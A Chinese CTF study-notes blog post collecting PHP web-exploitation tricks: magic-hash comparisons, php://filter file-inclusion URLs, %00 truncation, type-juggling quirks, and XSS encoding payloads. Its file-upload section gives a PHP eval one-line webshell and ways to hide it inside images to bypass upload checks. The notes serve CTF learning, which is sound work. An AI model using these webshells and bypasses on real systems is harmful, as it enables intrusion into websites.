CTF近段时间的小总结(小知识点)


想从事安全,但是有没有渗透测试的水平,那么也就只能在从CTF,入手,但是很多题目上的通过各种套路来完成的事情,没见过一次,完全会想不到,这只能且做且学习,不过这样还是挺扫兴的

前言

想从事安全,但是有没有渗透测试的水平,那么也就只能在从CTF,入手,但是很多题目上的通过各种套路来完成的事情,没见过一次,完全会想不到,这只能且做且学习,不过这样还是挺扫兴的

Let’s go on

说到底就是一堆乱七八糟的东西,也当一个小查阅吧

  1. @字符用在变量前面,就是该变量出错不警告

  2. 哈希中如果以0E开头则会都会认为是0。无论之后是什么构成
    常见几个翻译后0E开头:

    1. QNKCDZO
      0e830400451993494058024219903391
    2. s878926199a
      0e545993274517709034328855841020
    3. s214587387a
      0e848240448830537924465865611904
    4. s878926199a
      0e545993274517709034328855841020
      Tips:可以使用数组,但是md5不识别数组会直接变为null,sha1也同样满足
      同时也存在哈希值完全相同的两个图片
  3. 文件包含漏洞读取网络源码:(出来是base64加密后的)
    语句构造:
    http://xxx.com/index.php?file=php://filter/read=convert.base64-encode/resource=xxx.php

  4. %00截断:传送门

  5. ereg()用于正则表达式的判定,但是读到%00时就会停止匹配,认为字符串结束(在使用这个bug时还可以通过把变量设置为数组的方式来绕过)
    这里同时还有一个bug

    ereg(pattern,array)=null
    strops(array,pattern)=true
    
  6. 表名的引号有两种’ ’ and ``(TAB键上方)

  7. php strcmp函数如果两个字符串相等返回0,且strcmp()

  8. php ==把两边转化为同类型然后进行比较(比如在字符串比较数字时,字符串会被转化为0)

  9. robots.txt记录了爬虫守则,里面会有一些信息

  10. php别名:php别名:php2, php3, php4, php5, phps, pht, phtm, phtml

  11. 见到file_content()函数,思考使用php://input

  12. intval()函数在,接受到一个超大的数字时,会返回为当前操作系统最大的无符号int,strval()函数会无视%00和%20 ,32位有符号数int范围-2147483648~2147483647;64位-9223372036854775808~9223372036854775807

  13. 伪静态:url中含有xxxx.php/xx/x,那么.php后的xx就会被当成参数名,x会被当成参数

  14. php自身解析请求的时候,如果参数名字中包含””、”.”、”[“这几个字符,会将他们转化为下划线,那么假设我发送的是这样一个请求:
    /t.php?user_id=11111&user.id=22222
    php会先将user.id转化为user_id,在获取到user_id=22222,这里也有一个知识点,同名变量值会被覆盖

文件上传

  1. 直接上传,在1.php文件里写入一句话
    <?php @eval($_POST[cmd]);?>

  2. 在1.php中写入一句话,然后重命名为1.jpg或1.png

  3. 在1.php中写入一句话,然后重命名为1.jpg,然后再压缩为1.zip,然后再重命名为1.png或者1.jpg

  4. 找一个jpg或者png的图片文件,上传时,直接在文件末尾加上一句话

  5. 找一个jpg或者png的图片文件,在另一个文件里写入一句话,然后再windows下用copy 1.jpg/b+1.php/a 2.jpg 命令语句,产生一句话

再总结一下一句话的利用包括写法,上传的文件一定要记住以下几点:1.jpg中的php代码可执行,2.zip等压缩包中的代码可以通过伪协议3.绕过内容检测,绕过方式很多%00截断,这里是一种新的思路,也是在这里积累一下,
<script language=’php’>@eval(‘key’);</script>
,然后上传,然后记住返回的id,,然后再用文件包含,默认会加上php的后缀,所以只需要%00截断就可以了

编码专题

编码都不会还学什么安全(骂的就是我),没办法尽力学一点呗

URL编码:

  1. 我们在进行 URL 请求时,浏览器会自动帮我们把部分符号转换成 ‘%’ + ‘十六进制数字’ 的形式
  2. 服务器接收到提交来的请求时,会先把 % 编码转换成正常的字符。
  3. url也可以通过base64简单加密,使用data协议
    <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk7PC9zY3JpcHQ>+">XSS</a>
    

html实体编码:

  1. 使用实体编码,编码的语句不会被JS解析
  2. HTML 实体编码不能干扰到标签自身的属性和声明性内容。
    <img src=’’ onerror=’alert();’/>
  3. 表示方式
    1. & + ’约定形式如lt’+ ;
      1. &# + 十进制+ ;
      2. &# + 十六进制+;
        ps:在用十or十六进制表示时,可以没有分号

JS编码:

  1. JS Unicode编码:
    \u + 四位十六进制(不够补零)
    在js中符合Unicode的编码规则,会被先解码再输出

  2. JS八进制和十六进制:也会自动解码

  3. JS Fuck

js解析器进行解码之后,就会变成字符串,所以如果把alert(1)整体进行unicode编码,解码后得到的只是一个alert(1)字符串,而不是函数,如果想要让函数执行,作为函数标识符的括号是不能编码的,你可以将alert进行编码,括号不编码,这样解码后到括号之间的字符串js就会认为是函数名了,然后执行函数。第二个问题呢:javascript:alert(1)这里是用的是js伪协议,但是在on事件中,是不会识别javascript协议的所以使用javascript:alert(1)和直接用alert(1)是没有差别的

参考博客:GeekaLeo